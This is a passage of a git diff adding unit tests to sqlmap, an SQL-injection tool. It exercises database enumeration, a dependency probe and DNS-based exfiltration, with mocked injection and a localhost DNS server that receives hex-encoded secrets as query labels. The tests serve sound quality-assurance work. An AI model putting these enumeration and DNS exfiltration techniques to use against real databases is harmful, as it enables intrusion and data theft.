test_get_roles_filtered_by_user(self): + # conf.user populates a WHERE clause; canned rows still drive the parse + conf.user = "SCOTT" + kb.data.cachedUsersRoles = {} + self.module.inject.getValue = lambda q, *a, **k: [["SCOTT", "RESOURCE"]] + roles, _ = self._handler().getRoles() + self.assertEqual(list(roles.keys()), ["SCOTT"]) + self.assertEqual(roles["SCOTT"], ["RESOURCE"]) + + def test_get_roles_multiple_roles_per_user(self): + # a user appearing across several rows accumulates all granted roles + conf.user = None + kb.data.cachedUsersRoles = {} + self.module.inject.getValue = lambda q, *a, **k: [ + ["APP", "CONNECT"], ["APP", "RESOURCE"], ["APP", "CREATE SESSION"] + ] + roles, _ = self._handler().getRoles() + self.assertEqual( + set(roles["APP"]), {"CONNECT", "RESOURCE", "CREATE SESSION"} + ) + + +class TestPostgreSQLEnum(_EnumBase): + module = importlib.import_module("plugins.dbms.postgresql.enumeration") + + def _handler(self): + from plugins.dbms.postgresql import PostgreSQLMap + set_dbms("PostgreSQL") + return PostgreSQLMap() + + def test_get_hostname_unsupported(self): + # PostgreSQL overrides getHostname purely to warn; it returns None + self.assertIsNone(self._handler().getHostname()) + + +class TestMySQLEnum(_EnumBase): + # MySQL's enumeration.py adds no overrides (it is a bare `pass`); cover the + # generic discovery path through the full MySQL handler instead. + module = importlib.import_module("plugins.generic.enumeration") + + def _handler(self): + from plugins.dbms.mysql import MySQLMap + set_dbms("MySQL") + return MySQLMap() + + def test_get_dbs(self): + conf.db = None + kb.data.cachedDbs = [] + kb.data.has_information_schema = True + self.module.inject.getValue = lambda q, *a, **k: ( + 3 if k.get("expected") == EXPECTED.INT + else [["information_schema"], ["testdb"], ["mysql"]] + ) + dbs = self._handler().getDbs() + self.assertIn("testdb", dbs) + self.assertEqual(set(kb.data.cachedDbs), set(dbs)) + + +class TestSQLiteEnum(_EnumBase): + module = importlib.import_module("plugins.dbms.sqlite.enumeration") + + def _handler(self): + from plugins.dbms.sqlite import SQLiteMap + set_dbms("SQLite") + return SQLiteMap() + + def test_unsupported_simple_overrides(self): + # SQLite overrides these to a warning + an empty/neutral return value + h = self._handler() + self.assertIsNone(h.getCurrentUser()) + self.assertIsNone(h.getCurrentDb()) + self.assertIsNone(h.getHostname()) + self.assertEqual(h.getUsers(), []) + self.assertEqual(h.getDbs(), []) + self.assertEqual(h.searchDb(), []) + self.assertEqual(h.getStatements(), []) + self.assertEqual(h.getPasswordHashes(), {}) + self.assertEqual(h.getPrivileges(), {}) + + def test_is_dba_always_true(self): + # on SQLite the current user is treated as having all privileges + self.assertTrue(self._handler().isDba()) + + def test_search_column_raises(self): + with self.assertRaises(SqlmapUnsupportedFeatureException): + self._handler().searchColumn() + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_dbms_enum_b.py b/tests/test_dbms_enum_b.py new file mode 100644 index 000000000..b0622366d --- /dev/null +++ b/tests/test_dbms_enum_b.py @@ -0,0 +1,469 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Second batch of DBMS-specific enumeration override tests (companion to +tests/test_dbms_enum.py, which covers Microsoft SQL Server getTables). + +Each test drives a FULL per-DBMS handler (the *Map class in +plugins/dbms//__init__.py) with the injection layer mocked, so the +dialect-specific table/column/user/privilege discovery paths run without a live +target, network, or DBMS. The in-band (UNION/error/direct) branch is taken via +conf.direct=True; conf.batch=True avoids interactive prompts. + +Covered here: + * Sybase - getUsers, getDbs, getTables, getColumns, getPrivileges, + searchDb/searchTable/searchColumn, getHostname, getStatements + * SAP MaxDB - getDbs, getTables, getColumns, getPrivileges, + getPasswordHashes, getHostname, getStatements + * Microsoft SQL Server - getPrivileges, searchTable, searchColumn + (getTables already covered by test_dbms_enum.py) + * IBM DB2 - getPasswordHashes, getStatements + * Informix - searchDb, searchTable, searchColumn, getStatements + * Firebird - getDbs, getPasswordHashes, searchDb, getHostname, getStatements + * HSQLDB - getBanner, getPrivileges, getHostname, getStatements, + getCurrentDb + +Sybase/MaxDB enumeration goes through lib.utils.pivotdumptable.pivotDumpTable +(imported into the module namespace), so for those we mock that wrapper - it is +part of the same data-retrieval layer - and mock inject.getValue elsewhere. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import importlib +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.common import Backend +from lib.core.enums import EXPECTED +from lib.request import inject + + +def _fresh_cached(): + kb.data.cachedDbs = [] + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.data.cachedUsers = [] + kb.data.cachedUsersPrivileges = {} + kb.data.cachedCounts = {} + kb.data.cachedStatements = [] + kb.data.banner = None + + +class _NoOpDumper(object): + """Swallow every dumper call so search methods don't emit/prompt.""" + + def __getattr__(self, name): + return lambda *a, **k: None + + +def _handler(display_name, dirname): + """Instantiate the full *Map handler for the given DBMS.""" + set_dbms(display_name) + main = importlib.import_module("plugins.dbms.%s" % dirname) + cls = [getattr(main, n) for n in dir(main) if n.endswith("Map")][0] + return cls() + + +class _EnumBase(unittest.TestCase): + """Snapshot/restore every global these enumerators mutate.""" + + # subclasses set these + display_name = None + dirname = None + + def setUp(self): + # config snapshot + self._direct = conf.direct + self._batch = conf.batch + self._db = conf.db + self._tbl = conf.tbl + self._col = conf.col + self._user = conf.user + self._exclude = conf.exclude + self._search = conf.search + self._getBanner = conf.getBanner + self._excludeSysDbs = conf.excludeSysDbs + self._dumper = conf.get("dumper") + + # kb snapshot + self._cached = {k: kb.data.get(k) for k in ( + "cachedDbs", "cachedTables", "cachedColumns", "cachedUsers", + "cachedUsersPrivileges", "cachedCounts", "cachedStatements", "banner", + )} + self._hintValue = kb.hintValue + self._injectionData = kb.injection.data + self._currentDb = kb.data.get("currentDb") + self._hasIS = kb.data.get("has_information_schema") + + # injection layer snapshot + self._gv = inject.getValue + self._cbe = getattr(inject, "checkBooleanExpression", None) + + # baseline config the in-band/non-interactive paths need + conf.direct = True + conf.batch = True + kb.data.has_information_schema = True + _fresh_cached() + + # restore the chosen DBMS for every test + self.handler = _handler(self.display_name, self.dirname) + # the enumeration module whose pivotDumpTable some tests stub + self.em = importlib.import_module("plugins.dbms.%s.enumeration" % self.dirname) + + def tearDown(self): + conf.direct = self._direct + conf.batch = self._batch + conf.db = self._db + conf.tbl = self._tbl + conf.col = self._col + conf.user = self._user + conf.exclude = self._exclude + conf.search = self._search + conf.getBanner = self._getBanner + conf.excludeSysDbs = self._excludeSysDbs + conf.dumper = self._dumper + + for k, v in self._cached.items(): + kb.data[k] = v + kb.hintValue = self._hintValue + kb.injection.data = self._injectionData + kb.data.currentDb = self._currentDb + kb.data.has_information_schema = self._hasIS + + inject.getValue = self._gv + if self._cbe is not None: + inject.checkBooleanExpression = self._cbe + if hasattr(self.em, "pivotDumpTable"): + # restore the pristine reference from the wrapper module + import lib.utils.pivotdumptable as _pdt + self.em.pivotDumpTable = _pdt.pivotDumpTable + + +# --------------------------------------------------------------------------- +# Sybase +# --------------------------------------------------------------------------- + +class TestSybaseEnum(_EnumBase): + display_name = "Sybase" + dirname = "sybase" + + def _pivot(self, *value_lists): + """Make em.pivotDumpTable return canned (entries, lengths) per call. + + Each successive call pops the next mapping of {colName: [values]}. + """ + calls = list(value_lists) + + def fake(table, colList, count=None, blind=True, alias=None): + mapping = calls.pop(0) if calls else {} + entries = {} + lengths = {} + for col in colList: + vals = mapping.get(col.split(".")[-1], []) + entries[col] = list(vals) + lengths[col] = 0 + return entries, lengths + + self.em.pivotDumpTable = fake + + def test_get_users(self): + self._pivot({"name": ["sa", "guest"]}) + users = self.handler.getUsers() + self.assertIn("sa", users) + self.assertIn("guest", users) + + def test_get_dbs(self): + self._pivot({"name": ["master", "model"]}) + dbs = self.handler.getDbs() + self.assertEqual(sorted(dbs), ["master", "model"]) + + def test_get_tables(self): + conf.db = "testdb" + self._pivot({"name": ["users", "logs"]}) + tables = self.handler.getTables() + self.assertIn("testdb", tables) + self.assertEqual(sorted(tables["testdb"]), ["logs", "users"]) + + def test_get_columns(self): + conf.db = "testdb" + conf.tbl = "users" + # column pivot returns name + usertype: REAL Sybase numeric type ids that + # getColumns resolves through SYBASE_TYPES (7 -> "int", 2 -> "varchar"). + from lib.core.dicts import SYBASE_TYPES + self._pivot({"name": ["id", "name"], "usertype": ["7", "2"]}) + cols = self.handler.getColumns() + self.assertIn("testdb", cols) + # table key is identifier-normalized (may be schema-qualified) + tbls = cols["testdb"] + self.assertTrue(any("users" in t for t in tbls)) + colset = list(tbls.values())[0] + # the VALUE is the resolved type name, not the raw usertype number: + # proves the SYBASE_TYPES numeric->name mapping actually ran. + self.assertEqual(colset["id"], SYBASE_TYPES[7]) # "int" + self.assertEqual(colset["name"], SYBASE_TYPES[2]) # "varchar" + + def test_get_privileges(self): + # getPrivileges -> getUsers (pivot) then isDba (checkBooleanExpression). + # Drive the admin-set branch BOTH ways via the isDba oracle so the result + # is not forced by a constant-True stub. + conf.user = None + + # oracle True: every user is flagged DBA -> admins == all users + self._pivot({"name": ["sa", "guest"]}) + inject.checkBooleanExpression = lambda *a, **k: True + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) # users still enumerated as privilege keys + self.assertIn("guest", privs) + self.assertEqual(admins, set(["sa", "guest"])) + + # oracle False: nobody is a DBA -> admins is empty, but users still listed + _fresh_cached() + self._pivot({"name": ["sa", "guest"]}) + inject.checkBooleanExpression = lambda *a, **k: False + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) + self.assertEqual(admins, set()) + + def test_search_not_implemented(self): + # these intentionally return [] with a warning on Sybase + self.assertEqual(self.handler.searchDb(), []) + self.assertEqual(self.handler.searchTable(), []) + self.assertEqual(self.handler.searchColumn(), []) + + def test_get_hostname(self): + # not possible on Sybase; just must not raise + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# SAP MaxDB +# --------------------------------------------------------------------------- + +class TestMaxDBEnum(_EnumBase): + display_name = "SAP MaxDB" + dirname = "maxdb" + + def _pivot(self, *value_lists): + calls = list(value_lists) + + def fake(table, colList, count=None, blind=True, alias=None): + mapping = calls.pop(0) if calls else {} + entries = {} + lengths = {} + for col in colList: + vals = mapping.get(col.split(".")[-1], []) + entries[col] = list(vals) + lengths[col] = 0 + return entries, lengths + + self.em.pivotDumpTable = fake + + def test_get_dbs(self): + self._pivot({"schemaname": ["SYSTEM", "DOMAIN"]}) + dbs = self.handler.getDbs() + self.assertEqual(sorted(dbs), ["DOMAIN", "SYSTEM"]) + + def test_get_tables(self): + conf.db = "SYSTEM" + self._pivot({"tablename": ["USERS", "TABLES"]}) + tables = self.handler.getTables() + # db key is identifier-normalized (uppercase names get quoted) + self.assertEqual(len(tables), 1) + tbls = list(tables.values())[0] + self.assertEqual(sorted(tbls), ["TABLES", "USERS"]) + + def test_get_columns(self): + conf.db = "SYSTEM" + conf.tbl = "USERS" + self._pivot({ + "columnname": ["ID", "NAME"], + "datatype": ["INTEGER", "CHAR"], + "len": ["4", "32"], + }) + cols = self.handler.getColumns() + self.assertEqual(len(cols), 1) + tbls = list(cols.values())[0] + self.assertIn("USERS", tbls) + self.assertEqual(tbls["USERS"]["ID"], "INTEGER(4)") + + def test_get_privileges_empty(self): + self.assertEqual(self.handler.getPrivileges(), {}) + + def test_get_password_hashes_empty(self): + self.assertEqual(self.handler.getPasswordHashes(), {}) + + def test_get_hostname(self): + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# Microsoft SQL Server (methods NOT covered by test_dbms_enum.py) +# --------------------------------------------------------------------------- + +class TestMSSQLServerExtraEnum(_EnumBase): + display_name = "Microsoft SQL Server" + dirname = "mssqlserver" + + def test_get_privileges(self): + # getPrivileges -> getUsers (generic, inject.getValue) then isDba. + # Exercise the admin-set branch BOTH ways via the isDba oracle. + conf.user = None + inject.getValue = lambda q, *a, **k: ["sa", "BUILTIN\\Administrators"] + + # oracle True: all users flagged DBA + inject.checkBooleanExpression = lambda *a, **k: True + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) + self.assertEqual(admins, set(["sa", "BUILTIN\\Administrators"])) + + # oracle False: none are DBA -> empty admin set, users still enumerated + _fresh_cached() + inject.getValue = lambda q, *a, **k: ["sa", "BUILTIN\\Administrators"] + inject.checkBooleanExpression = lambda *a, **k: False + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) + self.assertEqual(admins, set()) + + def test_search_table(self): + conf.db = "testdb" + conf.tbl = "users" + # in-band branch: getValue returns matching table name(s) + inject.getValue = lambda q, *a, **k: ["users"] + # capture the discovered tables instead of dumping them + captured = {} + conf.dumper = _NoOpDumper() + self.handler.dumpFoundTables = lambda tables: captured.update(tables) + self.handler.searchTable() + # at least one database mapped to the matched table + flat = set() + for tbls in captured.values(): + flat.update(tbls) + self.assertTrue(any("users" in t for t in flat)) + + def test_search_column(self): + conf.db = "testdb" + conf.tbl = None + conf.col = "password" + # exact match (no wildcard) so no recursive getColumns call; + # getValue returns the tables that contain the column + inject.getValue = lambda q, *a, **k: ["users"] + captured = {} + conf.dumper = _NoOpDumper() + self.handler.dumpFoundColumn = lambda dbs, foundCols, colConsider: captured.update(dbs) + self.handler.searchColumn() + # the searched column was located in at least one table + flat = set() + for tbls in captured.values(): + flat.update(tbls) + self.assertTrue(any("users" in t for t in flat)) + + +# --------------------------------------------------------------------------- +# IBM DB2 +# --------------------------------------------------------------------------- + +class TestDB2Enum(_EnumBase): + display_name = "IBM DB2" + dirname = "db2" + + def test_get_password_hashes_empty(self): + self.assertEqual(self.handler.getPasswordHashes(), {}) + + def test_get_statements_empty(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# Informix +# --------------------------------------------------------------------------- + +class TestInformixEnum(_EnumBase): + display_name = "Informix" + dirname = "informix" + + def test_search_db(self): + self.assertEqual(self.handler.searchDb(), []) + + def test_search_table(self): + self.assertEqual(self.handler.searchTable(), []) + + def test_search_column(self): + self.assertEqual(self.handler.searchColumn(), []) + + def test_get_statements(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# Firebird +# --------------------------------------------------------------------------- + +class TestFirebirdEnum(_EnumBase): + display_name = "Firebird" + dirname = "firebird" + + def test_get_dbs_empty(self): + self.assertEqual(self.handler.getDbs(), []) + + def test_get_password_hashes_empty(self): + self.assertEqual(self.handler.getPasswordHashes(), {}) + + def test_search_db_empty(self): + self.assertEqual(self.handler.searchDb(), []) + + def test_get_hostname(self): + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements_empty(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# HSQLDB +# --------------------------------------------------------------------------- + +class TestHSQLDBEnum(_EnumBase): + display_name = "HSQLDB" + dirname = "hsqldb" + + def test_get_banner(self): + conf.getBanner = True + kb.data.banner = None + # getValue returns a single-element LIST; getBanner pipes it through + # unArrayizeValue, which must unwrap it to the scalar banner string. + inject.getValue = lambda q, *a, **k: ["HSQLDB 2.5.1"] + banner = self.handler.getBanner() + self.assertEqual(banner, "HSQLDB 2.5.1") + + def test_get_privileges_empty(self): + self.assertEqual(self.handler.getPrivileges(), {}) + + def test_get_hostname(self): + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements_empty(self): + self.assertEqual(self.handler.getStatements(), []) + + def test_get_current_db_default_schema(self): + from lib.core.settings import HSQLDB_DEFAULT_SCHEMA + self.assertEqual(self.handler.getCurrentDb(), HSQLDB_DEFAULT_SCHEMA) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_deps.py b/tests/test_deps.py new file mode 100644 index 000000000..0f09e5cdd --- /dev/null +++ b/tests/test_deps.py @@ -0,0 +1,113 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Optional-dependency probe (lib/utils/deps.py, the --dependencies feature). +checkDependencies() attempts to import every supported DBMS driver and warns +on the ones missing; it must never raise regardless of what's installed. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.deps as deps +from lib.utils.deps import checkDependencies + + +class _RecordingLogger(object): + """Captures every (level, message) emitted while installed as deps.logger.""" + + def __init__(self): + self.records = [] + + def warning(self, msg, *args): + self.records.append(("warning", msg % args if args else msg)) + + def info(self, msg, *args): + self.records.append(("info", msg % args if args else msg)) + + def debug(self, msg, *args): + self.records.append(("debug", msg % args if args else msg)) + + def error(self, msg, *args): + self.records.append(("error", msg % args if args else msg)) + + def messages(self, level=None): + return [m for (lvl, m) in self.records if level is None or lvl == level] + + +class TestCheckDependencies(unittest.TestCase): + def setUp(self): + self._real_logger = deps.logger + self.rec = _RecordingLogger() + deps.logger = self.rec + + def tearDown(self): + deps.logger = self._real_logger + + def test_missing_driver_warns_with_library_name(self): + # 'kinterbasdb' (Firebird driver) is essentially never installed, so the + # probe must hit the except branch and emit a warning naming the library. + try: + import kinterbasdb # noqa: F401 + self.skipTest("kinterbasdb is unexpectedly installed") + except ImportError: + pass + + checkDependencies() + + warnings = self.rec.messages("warning") + self.assertTrue(warnings, msg="no warnings captured for a missing driver") + # the Firebird entry must name its third-party library in a warning + self.assertTrue( + any("kinterbasdb" in w for w in warnings), + msg="missing Firebird driver did not produce a library-naming warning: %r" % warnings, + ) + + def test_all_present_emits_all_installed_info(self): + # force every __import__ to succeed so no library is ever recorded as + # missing; the empty-missing-set branch must emit the summary info line. + import builtins + + class _FakeModule(object): + __version__ = "999.0.0" + + real_import = builtins.__import__ + + def _always_succeed(name, *args, **kwargs): + try: + return real_import(name, *args, **kwargs) + except Exception: + return _FakeModule() + + builtins.__import__ = _always_succeed + try: + checkDependencies() + finally: + builtins.__import__ = real_import + + infos = self.rec.messages("info") + self.assertTrue( + any("all dependencies are installed" in m for m in infos), + msg="all-present path did not emit the summary info: %r" % infos, + ) + # and with nothing missing there must be no missing-library warnings + self.assertFalse( + any("third-party library" in w and "requires" in w for w in self.rec.messages("warning")), + msg="unexpected missing-library warning when all imports succeed", + ) + + def test_returns_none(self): + # contract: the probe is purely advisory and never returns a value + self.assertIsNone(checkDependencies()) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_dialectdbms.py b/tests/test_dialectdbms.py index 81de07ece..5dc28ac98 100644 --- a/tests/test_dialectdbms.py +++ b/tests/test_dialectdbms.py @@ -72,13 +72,16 @@ class TestDialectClassification(unittest.TestCase): self.assertEqual(_classify(base + (shift,)), expected, "engine %r misclassified (shift=%s)" % (engine, shift)) def test_no_false_positive_across_measured_set(self): + # non-collision property: every measured engine maps to EXACTLY its expected DBMS (or None), + # never to some other back-end. The shift flag is irrelevant for these (non-shift-sensitive) + # engines, so assert it both ways. for engine, (base, expected) in MEASURED.items(): for shift in (False, True): result = _classify(base + (shift,)) - if expected is None: - self.assertIsNone(result, "ambiguous engine %r leaked a DBMS prior" % engine) - else: - self.assertIn(result, (DBMS.MYSQL, DBMS.MSSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.MONETDB, DBMS.ORACLE)) + self.assertEqual(result, expected, "engine %r misclassified (shift=%s): got %r, expected %r" % (engine, shift, result, expected)) + # the only non-None DBMS priors the measured set can yield (sanity on the mapping itself) + produced = set(expected for _, expected in MEASURED.values() if expected is not None) + self.assertEqual(produced, {DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE}) def test_all_error_signature_yields_no_prior(self): # an all-error signature (Oracle, ClickHouse, IRIS, or simply a WAF-blocked channel) is not diff --git a/tests/test_dns_engine.py b/tests/test_dns_engine.py index 5eaf2c0a7..767a5019c 100644 --- a/tests/test_dns_engine.py +++ b/tests/test_dns_engine.py @@ -29,6 +29,7 @@ character-based and a chunk could split a code point, need the real-DBMS run. import binascii import os +import re import socket import struct import sys @@ -251,16 +252,114 @@ class TestDnsExfilEngineMssql(TestDnsExfilEngine): DBMS_NAME = "Microsoft SQL Server" -class TestDnsLabelInvariant(unittest.TestCase): - """The exfil chunk is hex-encoded into ONE DNS label, so 2*chunk_length must never exceed the - 63-octet DNS label limit - otherwise the query carries an invalid (over-long) label and exfil - silently breaks. Guards the chunk_length arithmetic in dnsUse for every supported DBMS.""" - def test_hex_label_within_max_dns_label(self): - for dbms in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL): - chunk_length = MAX_DNS_LABEL // 2 if dbms in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL // 4 - 2 - self.assertGreater(chunk_length, 0, "%s: non-positive chunk_length" % dbms) - self.assertLessEqual(2 * chunk_length, MAX_DNS_LABEL, - "%s: hex label (%d) exceeds MAX_DNS_LABEL (%d)" % (dbms, 2 * chunk_length, MAX_DNS_LABEL)) +class TestDnsLabelInvariant(_DnsCase): + """The exfil chunk is hex-encoded into ONE DNS label, so the label dnsUse emits must never + exceed the 63-octet DNS label limit - otherwise the query carries an invalid (over-long) label + and exfil silently breaks. + + Unlike a static formula check, this drives the REAL dnsUse() chunking through the REAL DNSServer + and asserts the invariant on the ACTUAL labels that reach the wire. The mock oracle does NOT + re-derive the chunk size: it slices each chunk to exactly the length dnsUse itself rendered into + its SUBSTRING call (captured live from agent.hexConvertField, whose input is the source's + substring expression). So if the chunk_length arithmetic in dnsUse regresses, the emitted hex + label grows past 63 octets and this test goes red - it observes the source's output, it does not + recompute it. + """ + + def _drive_and_collect_labels(self, secret): + """ + Runs dnsUse for L{secret} end-to-end against the real DNS server, slicing each chunk to the + length the SOURCE asked for (parsed from the live SUBSTRING expression dnsUse builds), and + returns (every label seen in every emitted query name, list of source chunk_lengths seen). + """ + secret_bytes = secret.encode("utf-8") + boundaries = [] + served = [0] + source_chunk_lengths = [] + # Snapshot the names the REAL DNSServer parsed off the wire, captured the moment they land + # in _requests - dnsUse's own .pop() consumes them, so we must grab them before that. + captured_names = [] + + real_randomStr = self._saved_randomStr + def spy_randomStr(length=4, alphabet=None, **kw): + if alphabet == DNS_BOUNDARIES_ALPHABET and length == 3: + out = real_randomStr(length=length, alphabet=alphabet, **kw) + boundaries.append(out) + return out + return real_randomStr(length=length, alphabet=alphabet, **kw) if alphabet is not None else real_randomStr(length=length, **kw) + dnsmod.randomStr = spy_randomStr + + # agent.hexConvertField receives the rendered SUBSTRING call, e.g. "MID((...),1,31)" / + # "SUBSTRING((...) FROM 1 FOR 13)"; the substring LENGTH argument (the source's real + # chunk_length) is the last integer literal in it. Capture it per iteration so the oracle + # emits a chunk of exactly that size - the source's arithmetic, not a copy of it. + saved_hexConvertField = agent.hexConvertField + def spy_hexConvertField(field): + source_chunk_lengths.append(int(re.findall(r"\d+", field)[-1])) + return saved_hexConvertField(field) + agent.hexConvertField = spy_hexConvertField + + def oracle(payload=None, *args, **kwargs): + prefix, suffix = boundaries[-2], boundaries[-1] + chunk_length = source_chunk_lengths[-1] + chunk = secret_bytes[served[0]:served[0] + chunk_length] + if chunk: + host = "%s.%s.%s.%s" % (prefix, binascii.hexlify(chunk).decode(), suffix, conf.dnsDomain) + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(3) + c.sendto(_build_query(host), ("127.0.0.1", self.server.port)) + try: + c.recvfrom(512) + finally: + c.close() + served[0] += len(chunk) + for _ in range(100): + with self.server._lock: + matched = [r for r in self.server._requests if host.encode() in r] + if matched: + captured_names.extend(r.decode() if isinstance(r, bytes) else r for r in matched) + break + time.sleep(0.01) + return None + + Connect.queryPage = staticmethod(oracle) + dnsmod.Request.queryPage = staticmethod(oracle) + + try: + result = dnsmod.dnsUse("%s AND %d=%d", "user()") + finally: + agent.hexConvertField = saved_hexConvertField + + # round-trip must still work (the source must actually reassemble what it chunked) + self.assertEqual(result, secret) + + labels = [] + for name in captured_names: + labels.extend(label for label in name.split(".") if label) + return labels, source_chunk_lengths + + def test_emitted_dns_labels_within_max_dns_label(self): + # long enough that every supported dialect's chunk_length forces several chunks (>1 label of + # hex payload), so the chunking loop - not just a single-shot path - is what we measure + secret = ("The quick brown fox jumps over the lazy dog " + "0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz") * 3 + for dbms_name in ("MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server"): + self.DBMS_NAME = dbms_name + set_dbms(dbms_name) + labels, source_chunk_lengths = self._drive_and_collect_labels(secret) + + # the source must have actually chunked (multiple SUBSTRING iterations), otherwise we + # would not be testing the chunking output at all + self.assertGreater(len(source_chunk_lengths), 1, + "%s: payload did not force multiple chunks (got %d)" % (dbms_name, len(source_chunk_lengths))) + self.assertTrue(all(cl > 0 for cl in source_chunk_lengths), + "%s: non-positive chunk_length from source: %r" % (dbms_name, source_chunk_lengths)) + + self.assertTrue(labels, "%s: no DNS query labels were captured" % dbms_name) + for label in labels: + self.assertLessEqual(len(label), MAX_DNS_LABEL, + "%s: emitted DNS label %r is %d octets, exceeds MAX_DNS_LABEL (%d)" + % (dbms_name, label, len(label), MAX_DNS_LABEL)) class TestDnsChannelDetection(_DnsCase): diff --git a/tests/test_dns_server.py b/tests/test_dns_server.py index 9e566e3d7..613518b7a 100644 --- a/tests/test_dns_server.py +++ b/tests/test_dns_server.py @@ -36,18 +36,69 @@ def build_query(name, tid=b"\x12\x34", qtype=1): class _HighPortDNSServer(DNSServer): - """Real DNSServer logic, bound on a high port (no root, no :53 probe)""" - def __init__(self, port, sock=None, maxlen=MAX_DNS_REQUESTS): + """Real DNSServer logic, bound on an ephemeral high port (no root, no :53 probe). + + Binds to port 0 and reads the kernel-chosen port back via getsockname() (same pattern + as tests/test_dns_engine.py) so concurrent/repeated runs never collide on a hardcoded + port. The actual port is exposed as L{self.port}. + """ + def __init__(self, sock=None, maxlen=MAX_DNS_REQUESTS): self._requests = collections.deque(maxlen=maxlen) self._lock = threading.Lock() if sock is None: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - sock.bind(("127.0.0.1", port)) + sock.bind(("127.0.0.1", 0)) self._socket = sock + self.port = self._socket.getsockname()[1] self._running = False self._initialized = False + def close(self): + self._running = False + try: + self._socket.close() + except socket.error: + pass + + +# Maximum time (seconds) to wait for the daemon server thread to come up, or for a sent +# query to be recorded, before failing loudly instead of spinning/sleeping forever. +WAIT_TIMEOUT = 5.0 + + +def _wait_initialized(srv, timeout=WAIT_TIMEOUT): + """Bounded wait for the server thread to flip _initialized; fail fast if it never does.""" + deadline = time.time() + timeout + while not srv._initialized: + if time.time() > deadline: + raise RuntimeError("DNS server failed to initialize within %.1fs" % timeout) + time.sleep(0.01) + + +def _wait_recorded(srv, token, timeout=WAIT_TIMEOUT): + """Bounded wait until L{token} appears in a recorded request; False on timeout.""" + if hasattr(token, "encode"): + token = token.encode() + deadline = time.time() + timeout + while time.time() <= deadline: + with srv._lock: + if any(token in r for r in srv._requests): + return True + time.sleep(0.01) + return False + + +def _wait_popped(srv, prefix, suffix, timeout=WAIT_TIMEOUT): + """Bounded wait until pop(prefix, suffix) yields a value; returns it or None on timeout.""" + deadline = time.time() + timeout + while time.time() <= deadline: + popped = srv.pop(prefix, suffix) + if popped: + return popped + time.sleep(0.01) + return None + class _SendFailOnceSocket(object): """Wraps a real UDP socket; first sendto() raises (simulated transient failure)""" @@ -95,31 +146,30 @@ class TestDNSQuery(unittest.TestCase): class TestDNSServerRoundTrip(unittest.TestCase): - PORT = 5471 - @classmethod def setUpClass(cls): - cls.srv = _HighPortDNSServer(cls.PORT) + cls.srv = _HighPortDNSServer() cls.srv.run() - while not cls.srv._initialized: - time.sleep(0.02) + _wait_initialized(cls.srv) + + @classmethod + def tearDownClass(cls): + srv = getattr(cls, "srv", None) + if srv is not None: + srv.close() + cls.srv = None def _send(self, name): c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) c.settimeout(3) - c.sendto(build_query(name), ("127.0.0.1", self.PORT)) + c.sendto(build_query(name), ("127.0.0.1", self.srv.port)) try: c.recvfrom(512) except socket.timeout: pass finally: c.close() - for _ in range(100): - with self.srv._lock: - if any(name.encode() in r for r in self.srv._requests): - return True - time.sleep(0.01) - return False + return _wait_recorded(self.srv, name) def test_roundtrip_and_pop(self): self.assertTrue(self._send("aaa.cafe.bbb.exfil.test")) @@ -132,49 +182,40 @@ class TestDNSServerRoundTrip(unittest.TestCase): # labels regardless of qtype, and the server records before crafting the (A) response c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) c.settimeout(2) - c.sendto(build_query("ggg.beef.hhh.exfil.test", qtype=28), ("127.0.0.1", self.PORT)) + c.sendto(build_query("ggg.beef.hhh.exfil.test", qtype=28), ("127.0.0.1", self.srv.port)) try: c.recvfrom(512) except socket.timeout: pass finally: c.close() - for _ in range(200): - if self.srv.pop("ggg", "hhh"): - return - time.sleep(0.01) - self.fail("AAAA-type query was not recorded (exfil would be lost for AAAA-resolving DBMSes)") + if not _wait_popped(self.srv, "ggg", "hhh"): + self.fail("AAAA-type query was not recorded (exfil would be lost for AAAA-resolving DBMSes)") class TestDNSServerMemoryBound(unittest.TestCase): """The server records every received query (it listens on :53); only matching ones are popped. Unrelated/stray traffic and resolver retries must not grow memory without bound.""" - PORT = 5475 def test_requests_are_bounded_and_recent_kept(self): - srv = _HighPortDNSServer(self.PORT, maxlen=50) + srv = _HighPortDNSServer(maxlen=50) + 